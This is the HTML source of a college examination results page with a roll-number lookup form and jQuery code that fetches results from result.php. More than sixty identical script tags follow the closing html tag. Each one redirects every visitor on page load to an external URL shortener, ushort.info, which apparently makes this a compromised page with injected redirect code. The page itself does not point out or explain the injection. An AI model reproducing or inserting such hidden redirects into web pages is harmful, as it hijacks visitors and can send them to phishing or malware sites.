<!DOCTYPE html>
<html lang="en-US">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Results | Raghu Engineering College &#8211; Autonomous | Vishakhapatnam</title>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;500;600;700&family=Roboto:wght@300;400;500;700&display=swap" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" type="text/css" href="resultsstyle.css">
    <link rel="stylesheet" type="text/css" media="print" href="print.css">
  </head>
  <style type="text/css">
  	@media print {
	    .logo .rit {
		    position: unset;	
		}
		footer {
		    margin-top: -40px;
		}
	}
	.rit {
		display: none;
	}
  </style>
  <body>
    <header class="">
      <div class="logo_sec">
        <div class="container">
          <div class="d-flex">
            <div class="logo">
              <a href="https://raghuenggcollege.com/">
                <img width="220" height="51" src="https://www.raghuenggcollege.com/wp-content/uploads/2023/06/RAGHU-Engineering-Collegelogo-1-1.png" class="attachment-full size-full rec" alt="" loading="lazy">
                <img width="150" height="139" src="https://www.raghuenggcollege.com/wp-content/uploads/2023/10/RIT-logo.png" class="attachment-full size-full rit" alt="" >
              </a>
            </div>
            <div class="header_btn noprint">
              <a href="https://raghuenggcollege.com/evaluation/" class="btn">Examinations</a>
            </div>
          </div>
        </div>
      </div>
    </header>
    <div class="result_form_sec">
      <h1 class="small_text noprint">Results</h1>
      <div class="container">
        <div class="result_form noprint ">
          <form method="post" id="result_form">
            <div class="form_element">
              <div>
                <span>
                  <b>Roll Number:</b>
                </span>
              </div>
              <div>
                <input type="text" name="rollNumber" id="rollnumber" value="" class="form_control">
                <p class="rollerror" style="display: none;">Please enter valid Roll Number</p>
                <p class="loading" style="display: none;">Please wait, we are getting your result</p>
              </div>
            </div>
            <input type="submit" name="submit" value="Submit" class="btn" id="sendEmailButton">
          </form>
        </div>
        <div id="printbtn" class="noprint">
          <img src="img/printer.png">
        </div>
        <div id="result_cont" class="result_cont"></div>
      </div>
    </div>
    <footer class="rec">© 2001 Raghu engineering college. All rights reserved</footer>
    <footer class="rit">© 2001 Raghu Institute of Technology. All rights reserved</footer>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
    <script>
      $(document).ready(function() {
        document.addEventListener('contextmenu', event => event.preventDefault());
        var path = 'results/';
        var sdegree = 'B.Tech'
        var resultarea = document.getElementById('result_cont');
        const mtechsubcodes = ["D04", "D55", "D58", "D43"];
        $("#result_form").submit(function(event) {
          event.preventDefault();
          var rollNumber = $(this).find('#rollnumber').val().toUpperCase();
          if (rollNumber.length == 10) {
            $('.rollerror').hide();
            var studentyear = rollNumber.substr(0, 2);
            var studentcollege = rollNumber.slice(2, 4);
            var subcode = rollNumber.slice(5, 8);
            var sentry = rollNumber.slice(4, 5);
            if (mtechsubcodes.includes(subcode)) {
              sdegree = "M.Tech";
            }
            if (sentry == 1) {
              studentyear = studentyear;
              sentry = "regularentry";
            } else {
              studentyear = studentyear - 1;
              sentry = "laterentry";
            }
            if (studentyear >= 20) {
              var regulation = "AR20";
            } else {
              var regulation = "AR17";
            }
            $('.loading').show();
            $('.result_cont').html(' ');
            $.ajax({
              type: 'GET',
              url: 'result.php',
              data: {
                rollnum: rollNumber,
                branchcode: subcode,
                syear: studentyear,
                sentry: sentry,
                regulation: regulation,
                sdegree: sdegree
              },
              success: function(response) {
                $('.loading').hide();
                resultarea.innerHTML = response;
                $('.sem_tabs .tab').click(function(e) {
                  e.preventDefault();
                  $('.sem_tabs .tab').not(this).removeClass('active');
                  $(this).addClass('active');
                  $('.tabcont').not($(this).attr('data-href')).removeClass('active');
                  $($(this).attr('data-href')).addClass('active');
                });
                $('#printbtn').show();
                $('#printbtn').click(function() {
                  window.print();
                  return false;
                });
                if (studentcollege == "3J" ) {
	                // document.write('<head><title>Results | Raghu Institute of Technology | Vishakhapatnam</title>');
    	              $('.rit').show();
    	              $('.rec').hide();
    	              $('.result_head h2').text('RAGHU INSTITUTE OF TECHNOLOGY');
                } else {
                	// document.write('<head><title>Results | Raghu Engineering College &#8211; Autonomous | Vishakhapatnam</title>');
                	$('.rec').show();
                  	$('.rit').hide();
                  	$('.result_head h2').text('RAGHU ENGINEERING COLLEGE (AUTONOMOUS)');
                }
              },
              error: function(xhr, ajaxOptions, thrownError) {
                alert(xhr.status);
                alert(thrownError);
                $('.loading').hide();
                $('.rollerror').show();
                $('.result_cont').html(' ');
                $('#printbtn').hide();
              }
            })
          } else {
            $('.rollerror').show();
            $('.result_cont').html(' ');
            $('#printbtn').hide();
            $('.loading').hide();
          }
        });
      });
     
    </script>
  </body>
</html>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>